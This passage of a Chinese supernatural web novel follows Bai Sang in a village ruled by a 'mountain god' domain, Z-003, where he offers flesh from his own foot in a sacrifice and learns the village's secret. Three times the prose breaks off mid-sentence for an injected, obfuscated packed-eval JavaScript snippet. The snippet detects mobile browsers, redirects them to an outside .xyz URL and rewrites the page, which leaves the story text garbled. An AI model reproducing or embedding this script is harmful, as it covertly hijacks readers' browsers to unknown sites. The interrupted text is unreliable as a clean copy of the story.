中年汉子的呼喊声已经引起了村民们的注意,嘈杂的脚步声从四面八方汇聚而来,白桑迅速采取了行动,将对方推进了院子。 院子墙角和门内倒着两具人影——应该是原本看着他的村民,大概率就是对方的父母。 白桑匆匆瞥了眼,没见到血,估计这两人只是昏过去了,应该没死,稍稍放下心,拽着对方朝大厅走去。 这家大厅的摆设跟白桑家差不多,八仙桌上的香炉中插着两根香,已经燃到了中间位置。 他们一进大厅,香上燃起的那柱烟就好似被什么东西吸引了一半,朝他们的方向飘了过来。 白桑下意识的屏住呼吸,身后那家伙还在一个劲的说着白桑听不懂的话,时不时迸出一两个他能听懂的短词,比如眼下的【香】【古怪】。 烟雾拂过白桑,在白桑身后打了个转。 白桑扭头看向身后,跟那张凹陷的脸对视了两秒,只见对方突然眼一翻,软倒在地。 白桑下意识的把手指放在他的鼻子前,确认对方还有呼吸后,才轻轻松了口气。 但事实证明,他这口气松得太早了——阳光照在院子里,映出一片乌压压的影子,被呼救声吸引而来的村民们赶到了现场,恰好目睹了这一幕。 白桑抬头,一眼就看到了人群正前方脸色阴沉的白继业。 好家伙,对方是活下来了,现在轮到白桑接受命运的考验了。 5. 小山村(4) 白桑蹲在地上不吭声,白继业脸色阴沉的站在院子外,其他人你看我我看你,楞是没敢打破这有些古怪的气氛。 满头大汗、连鞋都跑丢了一只的中年汉子没察觉现场气氛的不对劲,见‘怪物’没动静了,就急忙跑进院子,巴巴的看着白桑,没见到伤口,这才长松了口气:“山神爷爷保佑,小树苗没事!” 他又是后怕又是懊恼:“我怎么就丢下你跑了呢?万一出点啥事……我哪还有脸见白先生。” 白继业的脸色更黑了。 白桑没法沉默下去了:“当时那个情况,我留下来更好点。” 中年汉子背对着众人,没意识到危机正在身后酝酿,还在关注地上的“怪物”。 “大壮还活着吗?咱们是不是又要上香了?” 白桑摇了摇头:“他昏过去了……来搭把手,帮我把他抬到房间里去。” 中年汉子一把将大壮扛到肩上,跟其他人道:“我来,你们去看看大壮爹娘怎么样了。” 他扛着大壮进了卧室,不一会,卧室里传出闷声闷气的问句:“小树苗,要不要把他捆起来?” 白桑本想跟进去看看,但白继业死死的按住了白桑。 白桑看了眼白继业的脸色,没再撩拨老虎胡须,远程遥控中年汉子的一举一动:“不用……他脑袋上的伤口还流血吗?你给他止下血。” 其实白桑更好奇对方脑袋上的伤口到底是怎么来的,他刚才仔细观察过,看起来不像拳头打的,也没有利器留下的痕迹,更像是硬生生凹进去的。 墨守仁提着烟杆过来了:“大壮爹娘受了点伤,人还活着。” 白继业脸上一丝笑意都没有:“这么说,这东西的攻击性不强?” 墨守仁摇头:“亲爹亲娘都被打成这样了,我看它攻击性挺强的。” 白继业冷笑了一声:“这不没死吗?” 墨守仁磕了磕烟杆:“最近这些怪事,我看不一定是我们想的那样。说不定是山神爷爷着急了,来催咱们了,小树苗满十六了吧……” 什么?“我”都十六了? 听见这话,白桑先吃了一惊。他十六岁的时候就已经长得人高马大了,往外一站谁也不会拿他当小孩看,但这具身体都十六了,仍然稚气未脱,身量不高,不然白桑之前也不会以为自己才十四五岁。 果然青春期的孩子一天一个样子,差一两岁就能大变活人。 墨守仁的话一出,白继业脸上的神色彻底冰封:“想都别想。” 墨守仁嘬了口烟杆,低头看白桑:“小树苗,你刚才怎么做到的?让那个怪物安静下来听你的话……” 这句问话好似一个号角,白继业突然松开了钳着白桑的手,凌厉的风声掠过耳畔。 白桑瞪大眼睛,就见那两道人影在他面前一晃而过。 烟杆在墨守仁手上翩翩起舞,像剑客手中的剑,泛着冰冷的凉意,烟丝燃烧冒出的烟雾随着烟杆的划动,在空气中勾勒一个个符号,试图拦住白继业前行的脚步。 白继业手上没有武器,只有一根不知从哪来的香。 他举着那根没点燃的香,走一步鞠一躬,每鞠一躬,面前烟雾勾勒的符号霎时烟消云散,一路把墨守仁逼退到了角落。 这两人一进一退,白桑忽而有种从悬疑志怪小说误入武侠片场的错觉。 村子里的超自然力量还包括了超能力?难不成这些村民都是身怀绝技的超人? 白桑艰难调整起了自己对于游戏背景的猜测,目光不由在周围那些村民身上溜达了一圈。 村民们各自忙碌着,有的在修被撞坏的门,有的在收拾一片狼藉的院子,还有人忙着将昏迷的大壮爸妈转移到其他人家里……看不出身怀绝技的高人感,倒有不少的担忧和愁苦。 堂屋里白继业跟墨守仁搞出这么大阵仗,似乎完全没引起任何人的注意。 被逼得步步后退的墨守仁拔高了声音:“你疯了?在祂眼皮子底下动手?” 他们都没动真格,墨守仁的烟杆没往白继业脑袋上敲,白继业手里的香也没点燃,但却像是在酝酿着某种极为可怖的动静。 这个动静跟白继业他们无关,而是某种本就存在于此的“东西”带来的。 堂屋中,香炉中的香飞快燃烧,笔直向上的烟凝而不散,凝聚成一片薄薄的雾。 白桑的注意力不知不觉的被烟雾吸引了过去,他恍若窥见了一个巨大的血色瞳孔,像高悬于天际的明月染上了血色,好似有无数蠕虫从明月中钻出。 在看到血色瞳孔的那一瞬间,白桑的思维彻底停滞,时间的流逝失去了概念。 他在冥冥中意识到,那是恐惧的化身,是无法描述的存在,是概念之外的生物。 而将白桑从无知无觉中拽出来的,是突然响起的系统通知。 【支线任务:守墓人的使命已触发】 【千年万年,代代相传,子子孙孙,永守其墓】 【任务提示:祂一直注视着你】 突然出现的系统提示让白桑从那股奇特状态中脱离,才感觉自己重新掌控了这具身体。 他大口大口的呼吸着新鲜空气,浑身被汗浸湿,在方才那短短一瞬间的“对视”中,他体验到了比死亡更为恐怖的感受。 另外那两人的状况也没比他好到哪去。 那层薄薄的白雾笼罩着堂屋,持香的白继业、挥舞烟杆的墨守仁被定格在某一瞬间,身上的色彩一缕缕的汇入白雾,逐渐失去颜色的身体变得越来越薄,像是两张粗糙的纸人。 白桑对主线任务有了更深层次的了解——不断上涨的角色偏差度居然不是游戏中最致命的威胁,这些诡异生物才是碰之即死的存在。 距离白桑从‘游戏’中睁开眼,到现在才过去一个早上,他已经喜提30%角色偏差度以及一个充满不详征兆的支线任务,这让他很怀疑到底有没有玩家能在如此密集的死亡陷阱下活到第一天晚上。 顺带一提,白桑怀疑游戏开局的时候,之所以提示谨慎触发支线任务,可能就是因为支线任务跟这类诡异生物有关。 而这些生物的高危特性注定了完成支线任务的难度将会远超想象。 白桑光是看了一眼“白雾”,就差点打出死亡结局。哪怕他暂时活下来了,也不意味着一切已经结束。他眼下只要一闭眼,那只巨大的血色瞳孔就会在黑暗中浮现,像是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039827|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明晃晃的标记,带来死亡迫近的气息。 白桑苦中作乐的想道,任务提示中指的“祂一直注视着我”不会就是指这玩意吧? 他以后别想睡觉了,一闭眼就来一次san check,没等他睡醒估计就得先疯了。 不过眼下的重点不是突兀出现在他眼里的血色瞳孔,而是身上的颜色越来越的白继业他们,再这么下去,他们估计就真要变成纸人了。 但白桑绕着他们转了一圈,发现自己压根无从下手。 白雾遍布整个堂屋,白桑没法用物理手段隔绝它跟白继业他们之间的联系。他想过直接把白继业他们搬出堂屋,远离白雾所在的区域,问题是他们压根出不去,堂屋变成了一个独立的封闭空间,外面所有动静都消失了。 白桑看向八仙桌,香炉里的香已经燃到了最下方,快要烧完了。 白桑又看向正在褪色的白继业,目光顿时一凝——白继业胳膊和手的颜色一早就消失了,但他手上那根香却仍然保留着颜色。 白桑仔细打量起了白继业手上那根香,就是那种最常见也最便宜的细香,之前给二娃子上香时,他从白继业手里接过的香也是这一种。 这么说的话…… 白桑看向香炉里那两根香,香炉里的香也是同一种香,这个村子家家户户用来上香的香都是这一种! 白桑明白自己要怎么做了。 他拿走白继业手里的香,走到八仙桌前,用香炉里的香点燃自己手上这根香,面朝无名牌位弯下腰。 熟悉的感觉再次出现,白桑刚弯下腰,手里的香就变得异常沉重,拽着白桑弯下膝盖,跪到地上。 额头碰到地面,白桑阖上眼,视野里的血色瞳孔微不可觉的垂下了些许眼睑。 白桑磕一个头,手里的香就迅速燃烧一大截,磕完三个头,香彻底燃尽,血色瞳孔也堪堪垂下了五分之一的眼睑。 简直就像是一场供奉。山神爷爷?这座山上或许真存在着“鬼神”,但绝不是什么山神爷爷,而是墓主人。 白桑一动不动的保持着这个姿势,那股无形的力量没随着香的燃尽而消失,而是仍逼迫着他维持着虔诚的上香姿势。 不过他想要的效果已经达成了。在得到满意的供奉后,白雾徐徐散去,被隔绝的堂屋重新回到了人间。 其他人的声音突然响起,像是从未消失过一般。 “村长身上的颜色回来了!” “白先生身上的颜色也回来了!” “小树苗……你怎么跑那去了?” 有人想扶起跪在八仙桌前的白桑,用力一拉没拉动,表情顿时惊恐了起来。 “小树苗又犯‘病’了?” “快叫白先生……白先生也出事了,完了完了。” “要不……送小树苗去祠堂吧,说不定进了祠堂就好了。” “白先生早放下话了,白家就剩这么一根独苗,下一任守山人不能再从白家出了。” “但咱们村子那么多人,山神爷爷一个都没看中……” 这边的窃窃私语声还没说完,一旁又响起了惊呼声。 “醒了醒了,白先生醒了!村长也醒了!” 6. 小山村(5) “一开始的时候,咱也没发现不对劲,还以为白先生你跟村长一直搁堂屋商量呢。结果堂屋的香突然烧完了,这才发现出事了。不管我们咋喊,你们都没反应。” “几分钟的功夫,白先生跟村长身上的颜色就变淡了,摸起来就跟纸人一样。当时大家都说是因为下一任守山人迟迟没选定,山神爷爷发怒了。” 村民有啥说啥,将众人的恐惧和惊慌失措展现得淋漓尽致。 极致的敬畏源于极致的恐惧,村民们并不是没猜到“山神爷爷”到底是什么,只是跟“外面”相比,被“山神爷爷”庇佑的小村落好歹还能让人活下去。 所以他们一边恐惧着“山神爷爷”,一边自我欺骗,通过日复一日的“供奉”来保证村子的平安。 不过信息不足,白桑不确定,村子对于“山神爷爷”的供奉究竟包不包括特殊的贡品。 但如果真有特殊贡品,那白桑怎么看怎么觉得自己像是那个倒霉蛋。 白继业要求下一任守山人不能从白家出,如果“守山人”就是祭品,一切就能串起来了。 白继业一开始的阻拦、后来说要送他出去读书以及白桑身上的异常,甚至于支线任务“守墓人的使命”都能说得通了。 白桑阖眼,巨大的血色瞳孔悄然浮现,光是对视就足以让人感受到无穷无尽的恐惧。 白桑也不例外,他哆嗦了下,这绝对不是正常游戏里的那种新手boss,不对,应该说这个“角色扮演游戏”就不是什么正常的游戏。 白桑睁开眼时,突然对上了一双直勾勾盯着他看的眼睛。也就是白桑眼下动不了,不然他绝对会被这一幕吓到蹦起来。 白继业的脸几乎就贴在白桑面前,这么近的距离下,白桑脸上任何细微的表情变化都逃不出他的眼睛。 “怕什么,我来看看你的情况。” 白继业指挥其他人给白桑膝盖下铺垫子,一边撩起白桑的袖子,检查白桑身上有没有其他问题。 白桑提起的心稍稍放下,白继业突然发问:“你刚才看到什么了。” 白桑下意识的张了张嘴,反应过来后,又急忙闭上了。 气氛一瞬间凝滞。 墨守仁笑呵呵的打圆场:“行了,孩子还小呢,好好问。” 他伸手在白桑面前一晃,给白桑全方位的展示香燃尽后剩下的那截柄,循循善诱:“小树苗,眼熟吗?” 白桑瞄了眼自己的手,墨守仁笑得跟偷到了鸡的狐狸一样:“对喽,就是你手里的那个东西。” 白桑对墨守仁的身手也有了更深的认知,他手那么一晃,白桑还没反应过来,手里那截香就到他手上了。 墨守仁接着问道:“你给山神爷爷上香了?所以山神爷爷放我们回来了?” 白桑不吱声。 “你给山神爷爷上香的时候,又出现意外了?”他看了眼白桑:“这次意外跟之前不太一样?哪里不一样?” 见墨守仁一猜一个准,白桑的表情从紧张变成了茫然,脱口而出:“村长,你会读心?” 墨守仁被他傻乎乎的发问给逗笑了,刚想说什么,瞥了眼白继业,又憋了回去,好声好气的哄道:“墨爷爷可厉害了,所以有什么事呢,你就跟墨爷爷说,爷爷保证全给你解决了。” 白桑怀疑在墨守仁眼里,他不是十五岁,是五岁——这么明显的哄孩子的话,五岁小屁孩都不一定会被骗,他居然还能一板一眼的说给白桑听。 “再说了,还有你爷爷在呢,怕什么?你爷爷比墨爷爷还厉害,什么事都不在话下。”说着,墨守仁示意了下白继业:“对吧?白老弟。” 白老弟没搭理他,对白桑道:“你准备一下,明天我就送你去外面。” 墨守仁压低声音,语气严肃了起来:“都这样了,你送他去外面有什么用?” 白继业拔高了声音:“我早说过了,下一任守山人不从白家出。我两个儿子一个女儿都是守山人,死的死,疯的疯,就剩这么一个孙子,让他当守山人,你先从我尸体上踏过去。” 一旁的村民没敢吭声,墨守仁狠狠嘬了几口烟杆,缓和语气道:“村子里没人动过这个心思。但山神爷爷就看中你家小树苗了……” 白继业气急败坏:“屁个山神爷爷……” 这话一出,其他人都惊了,七嘴八舌道:“可不敢这么说。” “白先生,别给村子招祸。” “山神爷爷莫怪,山神爷爷莫怪……” 墨守仁脸上那点笑意全没了,他挥了挥手上的烟杆,烟杆上漫出的烟雾在空气中弥漫,周遭的声音突然消失了,好似在他们周围形成了一个独立的区域。 墨守仁:“所以你刚才不管不顾的跟我打起来,就是想看看山神爷爷的反应?” 白继业不吭声,墨守仁气极反笑:“我就说,你能不知道小山村禁止使用能力吗?合着是你压根就不想守小山村的规矩了。” 见白继业还是没动静,墨守仁加重了语气:“白继业!咱们来小山村的时候,领导怎么说的,你现在全忘了,是吧?” 白继业一声不吭,墨守仁缓和了语气,安抚道:“这些年,小山村的村民能活下来,跟白家人的牺牲密不可分。就冲这,你就算想让整个小山村给你陪葬,我也没话说。反正死得人多了去了,再多小山村这几百人又能怎么样?” “但小山村的存在,难道就只是为了让这几百人活下去吗?”墨守仁恨恨的道:“你别忘了,小山村更为重要的作用,是为了不让Z-003号诡域危及整个Z区。” 啥玩意?Z-003号诡域? 好消息,这游戏的背景似乎不是愚昧的小村落。 坏消息,“山神爷爷”这种类型的“boss”外面可能满大街都是。 话说到这了,白继业才干巴巴的挤出话来:“我就剩下这么一个孙子了……” 墨守仁恨铁不成钢的道:“你也不想想,为什么咱们违反了规矩还能活下来?是小树苗给山神爷爷上了香。这香一上,就算你把小树苗送出去,他也跑不了。到时候小山村的人死光了,小树苗还是得回来,就是你想要的结果?” 白继业又没声了。 墨守仁咬牙:“跟你说不通,我把【界域】解开,把这些事都跟小树苗说清楚。” 白继业:“我是他爷!他得听我的。” “谁有道理听谁的。” 白继业刚想反驳,突然反应过来这声音是谁的,低头一看,就见白桑正看着他,目光清澈。 白继业被他的视线烫了下,扭头朝墨守仁发难:“你什么时候解开的【界域】?” 墨守仁的烟杆抖动了下,烟雾弥漫:“我还没解开呢……小树苗你都听见了?听见了多少?” 白桑老老实实的道:“从头到尾。” 墨守仁翻来覆去的看自己的烟杆,闻闻烟丝,摸摸烟雾,像是怀疑自己抽了假烟:“不可能!【界域】没出问题,不然咱们刚才讨论的时候,其他人早闹翻天了……” 白继业观察了下其他人的反应:“他们没听见我们的对话,【界域】确实起效了。只是小树苗没被影响。” 那就只有一个可能了,墨守仁表情严肃的看向白桑:“你上香的时候,发生了什么?有没有看到奇怪的东西?” 奇怪的东西那可太多了,不过最奇怪的还是要数——“我脑子里有个眼睛,红色的眼睛。” 墨守仁一激灵:“红色的眼睛?” 白桑简单描述了下“他一闭眼就能看到血色瞳孔”的情况,然后追问道:“这是我能听见对话的原因吗?那个眼睛又是什么?我会死吗?” 墨守仁嘬着烟杆,眉头皱得死紧,斟字酌句道:“你都十六了,有些事也该告诉你了……” 白继业一把捂住了白桑的耳朵:“我不同意!那些事跟他没关系。” 墨守仁:“跟你说不通,你撒手,让孩子自己选。” 白继业捂得太严实,白桑只察觉这两人的声音突然拔高,语气一个比一个糟糕。 眼见到手的线索又要没了,白桑急得不行。 好似感知到白桑激烈的情绪波动,微微垂下眼睑的血色瞳孔抬起眼,慈悲的注视着白桑,传递着祂的“意志”——‘祭祀’。 这个词一出现在白桑脑海中,相关信息就自然而然的在白桑脑海中浮现。 人通过向“神灵”祈愿,献上祭品,从而获得神灵的赐福,这是祭祀。 但不是任何人都能供奉神灵,祭祀仪式有一套繁琐且严苛的流程和筛选机制。 例如,村民们上香的行为,只能算是简易的供奉行为。 白桑获得的信息不仅包括“祭祀”的含义,也包括多个指向血色瞳孔的祭祀流程,有最为残忍的大型祭祀,也有特殊状况下的简易祭祀。 血色瞳孔的祭祀仪式,以血肉作为祭品,规模越大的祭祀仪式对于祭品的要求越高。 白桑不确定血色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039828|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔所要求的残酷祭祀是特例,还是世界背景下的常规状况,但考虑到墨守仁他们对于“外面”的态度,白桑怀疑小山村可能还真是新手村,外面没准真比小山村危险。 严格来说,这次不是血色瞳孔主动要求的“祭祀”,是白桑的强烈意念触发了“祭祀仪式”,神灵听取了他的祈愿,愿意接受他的祭祀,才有了眼下这一幕。 因此,这场不正规的“祭祀”中,白桑的愿望一开始就已经被框定——他想结束目前这无法动弹的状态——缺乏的只有祭品。 至于放弃祭祀,需要付出的代价比祭祀本身更为残酷。 因为白桑无法移动,他眼下能选的只有特殊状况下的简易祭祀。 这类祭祀流程很简单,只要祂愿意接受祭祀,祭品是血肉就行,对于性别、生辰八字以及属相没有要求。 白桑看了眼四周,他再度进入了那个被白雾包围的堂屋,只不过这次白继业跟墨守仁都不见了踪影,只有桌上的香炉散发着强烈的存在感。 看来不存在指定敌人作为祭品这种投机取巧的祭祀方法。 白桑刚冒出这个念头,面前突然多了样东西,正是之前差点没了的那个“玩家”。 为什么‘玩家’可以被选做祭品,其他人却不可以?是因为那柱香?还是因为对方目前处于昏迷状态,无法反抗? 白桑喊了对方几声,处于昏迷状态下的对方毫无反应。 联想到墨守仁跟白继业险些变成纸人的遭遇,白桑放弃了叫醒他的想法。就算对方醒了,情况也不一定会比现在更好,反而更容易送命。 白桑没再犹豫:“我要献祭我的阑尾。” 好消息:血色瞳孔不挑,他敢献祭阑尾,对方就敢要。 坏消息:阑尾太小,无法满足祭祀所需要的祭品数量。 白桑看向“大壮”,试探着道:“我要献祭他的阑尾。” 在无声寂静中,有什么被血色瞳孔取走了。 “还不够?”感知了下对方的反馈,白桑嘀咕了一声。 指望用两个阑尾就糊弄过去,好像确实有点不靠谱。 单论人身上可以舍弃的东西,脚指甲、手指甲以及头发都在其中,但血色瞳孔对祭品的要求是血肉,这些都不符合要求。 白桑想了想,试探着道:“献祭我的左脚……” 靠!给多了! 话一出口,白桑就意识到祭品量溢出了。当然,祭祀不存在‘溢出’这个说法,丰厚的祭品只会让神灵更喜悦。 但比起让神灵更喜悦,白桑更想要自己的脚…… 悬于无字牌位前的血色瞳孔合上眼,白雾散去,世界重新热闹了起来,风声、讨论声此起彼伏。 白继业和墨守仁没察觉白桑的异常——白桑本就不能动,在被捂住耳朵的情况下突然沉默下去,太正常了。 直到固定在跪姿状态的白桑突然从白继业怀里蹦了出去,才吸引了他们的注意。 白继业眼疾手快的拽住了他。 白继业、墨守仁异口同声:“你好了?” 意识到对方跟自己问了同样的问题,白继业跟墨守仁又双双冷哼了一声。 白继业:“这次反噬持续的时间这么短?” 墨守仁:“你做了什么……你怎么单腿蹦跶?” 白桑还没说话,两人就察觉了异常。 墨守仁一把薅住白桑,白继业捋起白桑的裤腿,将白桑左脚的鞋子脱了下来,露出只剩下森森白骨的左脚。 这下,他的声音像是从牙缝里挤出来似的:“白桑!” 墨守仁撒开薅着白桑的手,苦大仇深的嘬着烟杆,盯着白桑的左脚看。 眼前这一幕确实堪称奇特,白桑的左脚没有一丝一毫的血肉,只剩下莹白的骨头,脚踝上的部分与正常人无异,就像某种未知的存在只取走了白桑左脚的血和肉。 白桑没察觉到丝毫的疼痛,甚至左脚仍然能正常活动,与之前比起来,只有一点不同,只剩下骨头的左脚显得特别的轻。 白桑试着让左脚落地,想看看只剩下骨头的左脚能不能支撑得起沉重的身躯。 他的脚才一动,白继业就一把薅住了他的裤腿:“白桑!” 白桑试图从他手下挣脱……没成功,白继业的手跟铁钳似的,他压根挣不开。 他只能另辟蹊径,转移白继业的注意力:“我都听见了!我不去外面,我不要爷爷死掉,也不要小山村的人都死掉!” 7. 小山村(6) 气氛僵住了,墨守仁打了个圆场:“办法都是人想出来的,别那么偏激。你也想想孩子的感受,你就这么一个孙子,小树苗也就只有你这么一个爷爷……” 白继业嗤之以鼻:“他什么都不知道,你也什么都不知道?还办法都是人想出来的……” 墨守仁被怼得无话可说,又苦大仇深的嘬起了烟杆。 白桑看看这个看看那个,估摸着这部分秘密‘他’应该不知情,问出口也不会掉角色偏离度,才开口道:“Z-003号诡域到底是什么意思?守山人又是干什么的?” 墨守仁斜了眼白继业,阴阳怪气:“那得看你爷爷让不让我说了,不然我们要是再打起来,你刚才的罪可就白受喽。” 白继业没吭声,墨守仁拖着长音道:“那我可就说了啊……” 白继业作势要伸手摸兜,白桑按住了他——风水轮流转,这次换白桑用铁钳般的力道死死按着白继业了。 墨守仁:“许多年前,地球上突然出现了多个诡异区域,它们覆盖了原本平静安全的区域,导致生活在这些地区的人们大批死亡,只有少部分人逃了出来。” “这些年来,我们对诡域的了解逐步深入。有的诡域由平平无奇的现代建筑以及生活方式组成,危机就藏在平凡的日常行为之中。而有的诡域则是以神话背景、民俗甚至是故事作为蓝本,形成超出认知的存在。” 白桑听的心惊肉跳:“Z-003号诡域属于哪一种?” 墨守仁嘬了两口烟杆:“目前来说,它哪一种都不属于。Z-003眼下还只是一颗‘种子’,真正的诡域还没成型。” 白桑意识到了什么:“诡域的出现需要遵循某种流程?” 墨守仁:“没错,诡域不可能凭空出现,就像种子需要足够的营养才能发芽一样。只是一开始,我们对它们一无所知,错过了阻止它们‘发芽’的机会,只能眼看着无数诡域凭空出现,占据大片地区,压缩人类的生存空间。” “小山村本质上是一个为Z-003量身定制的囚笼。” 墨守仁:“所有诡域的成型,都跟诡域核心密切相关。对于已经成型的诡域来说,诡域核心是最致命的弱点,一旦诡域核心被破坏,诡域的威胁就会被大幅度削弱。但即使付出巨大代价去破坏诡域核心、摧毁诡域内所有建筑,诡域也不会被彻底毁灭,顶多只是在短时间内,对人类来说,这片区域变得无害了。只要给它足够多的时间,诡域就会缓慢恢复。所以,你要牢记这一点——诡域是‘杀不死’的!” “对于尚未成型的诡域来说,诡域核心未必拥有实质性的形态,可能会更趋向于某种概念、习俗甚至是故事。所以,在‘种子’阶段,我们很难对诡域造成伤害,最多根据诡域核心制定专门的对策,最大程度的减缓‘种子’发芽的速度。” “Z-003的诡域核心是什么?”白桑环顾四周:“香炉?山神爷爷?还是守山人?” 墨守仁短促的笑了一声:“你不是已经亲身体验过了吗?” 白桑跟他对视了两秒,低头去看自己只剩白骨的左脚,恍然大悟:“祭祀?” 墨守仁:“准确来说,Z-003的诡异核心是特定人群向特定目标进行祭祀,达成心愿,付出代价。” 白桑总觉得有什么地方不太对劲:“但村子里的大家没有真的进行祭祀,给山神爷爷上香本质上只是一种粗浅的供奉……” 墨守仁摸了摸白桑的脑袋:“如果完全遵循诡域核心的逻辑,那小山村就不是囚笼了,而是加速种子生长的营养剂。” 白桑意识到了什么:“达成心愿、付出代价……祭祀会死人?” 不是白桑后知后觉,而是刚进行了一场祭祀的白桑付出的代价微乎其微,所以没能在第一时间意识到墨守仁那句话里的残酷底色。 墨守仁嘬了口烟杆:“当然会死人,难不成你以为‘神’是无偿付出不求回报的大好人?小树苗,记住一个常识——怪物给出甜头,是为了从你身上拿走更多东西。而死亡只是其中最微不足道的一个代价。” 白桑有些混乱,捋了半天才磕磕绊绊的道:“那我刚才……为什么……” 墨守仁:“因为你的举动完美契合Z-003的诡域核心。在长年无法汲取足够营养的情况下,它怎么舍得把你当成一次性用品?” 墨守仁点了点烟杆,扯回话题:“小山村一直以来,所做的都是降低Z-003汲取营养的速度,包括让所有人只进行最低限度的供奉,不进行真正的祭祀等等。同时我们还得避免激怒无法汲取到足够能量的Z-003,所以出现了守山人。” 白桑:“整个村子都是知情人?为什么我之前什么都不知道?”如果整个村子都是知情人的话,那这些信息对于村子里的孩子来说,应该属于常识,而不是像白桑这样一无所知。 墨守仁摇了摇头:“最早执行任务的成员都已经去世,现在只有村长和一代代守山人知晓最初的任务,其他都是不知情的村民。” 白桑:“为什么不在村子里公开这些信息?” 墨守仁嘬了口烟杆,悠悠的问道:“你觉得诡域是活物吗?” 白桑浑身寒毛都竖起来了:“你的意思是,诡域能听见?” 这话一出口,白桑脑海里冒出了更多猜测,连声问到:“它能进行思考?它是一种智慧生物?” 墨守仁神色淡淡:“不知道。但有一点是肯定的,诡域是活的。” “我们从不在【界域】之外的地方讨论这些,也竭力避免在村子里科普诡域相关的常识,就是为了让Z-003沉浸在愚昧村落不正规的供奉中,而不是突然惊觉自己早已被困在笼牢之中。” 白桑愈发不解:“那这些不知情的村民又是怎么来的?” “早些年因为诡域而无家可归的人实在太多,有些到了这,发现小山村有山神爷爷庇佑,就留了下来。时过境迁,这里就真成了一个村子。” 所以,是一代代的人在这里坚守,才演变成了眼下的稳定局面。 白桑深吸了口气,问出了与自身最密切相关的问题:“所以,守山人到底是用来做什么的?” 墨守仁:“稳定Z-003的镇定剂,让它不至于因为一直汲取不到足够的营养而彻底翻脸。也算是村子献给山神爷爷的祭品。因此,守山人没一个能活过三年。白家人好一点,能活个五六年。” 旁听了半天的白继业硬邦邦的道:“听见了吧?你当了守山人,顶多只能再活五年。” 白桑:“可我已经进行过祭祀了,就算不当守山人,它也不会放过我。那还不如让我去当守山人,也省得村子里其他人白白送死。” 白继业嗤之以鼻:“那是你没见过世面。城里比其他地方安全多了,别说多活六年了,只要不出城,你说不定能活上个十几二十年。” 白桑反驳:“我不一样,山神爷爷都在我脑子里留下东西了,就算我去了城里,也不一定有用。” 墨守仁:“那可不一定。城里的人能躲过四处游荡的异常,自然是因为有特殊手段,说不定你去了城里,真能躲过山神爷爷呢。” 白桑扭头看他:“你到底是哪一边的?怎么还帮他说话?” 墨守仁理直气壮:“我是真理这边的。谁有道理我就帮谁说话。” 白桑被怼得无言以对,只好岔开话题:“四处游荡的异常又是什么?也是诡域的一种吗?” 墨守仁摇头:“诡域的位置是固定的,而异常……它无声无息、无影无踪,更像是一种特殊现象,只有在符合条件的情况下才会出现。所以对于异常来说,没有真正意义上的安全区,谁也不知道什么时候就会因为某个举动就招来了异常。” 白桑目瞪口呆:“诡域和异常是两种不同的存在?” 他迅速意识到了核心问题:“这两者会发生冲突吗?诡域中会出现异常吗?如果我同时触犯了异常和诡域,他们会为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039829|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了‘猎物’的归属打起来吗?” 墨守仁用‘孺子可教’的视线看了白桑一眼:“诡域中会不会出现异常,取决于诡域的类型和特征。例如Z-003诡域,这里之所以能形成小山村,就是因为它具有非常强烈的排外特性,所以在Z-003的范围内从没出现过异常。” 白桑理解了为什么村民会逐渐聚集到小山村。 无法移动位置的诡域,对普通人来说,威胁程度并不高,他们完全可以选择这辈子都不靠近任何诡域。但异常不同,不知道什么时候就会降临的异常才是真正的致命危机。 而一个不会出现异常、同时还尚未成型的诡域无疑是混乱状况下的最好选择。 想到这,白桑又意识到了什么:“既然诡域的位置是固定的,那是不是可以通过封锁诡域外界通道的办法来规避诡域的威胁?” 这么一来,诡域的威胁几近于无,也不必付出代价去制定特定的囚笼。 墨守仁:“诡域的位置是固定的,不意味着它的入口被固定的。举个例子,如果Z-003彻底成型,那么按照Z-003的诡域核心,所有处于绝望,又或是内心藏有强烈愿望的人周围都有可能出现Z-003的入口,让他们成为‘山神爷爷’的信徒和祭品。” 没等白桑做出反应,墨守仁又接着道:“不过这不是我们大费周章布置这些的主要原因。小树苗,你猜Z-003完全成型后有多大面积?” 白桑下意识的看了眼四周,在墨守仁问出这个问题前,他下意识的将整个小山村视作了Z-003的覆盖范围,但墨守仁问出这个问题后,他意识到情况可能没有他想的那么简单。 白桑:“多大面积?” 墨守仁不答反问:“你知道我们是怎么给诡域排序的吗?Z-003这个序号,意味着它的危险等级在Z区排行第三。当然,这是指完全成型的Z-003。根据专业人士的推测,Z-003完全成型后,最少能覆盖三分之一的Z区,最多能完全覆盖整个Z区。” 白桑有点没反应过来:“那被它覆盖的区域……” 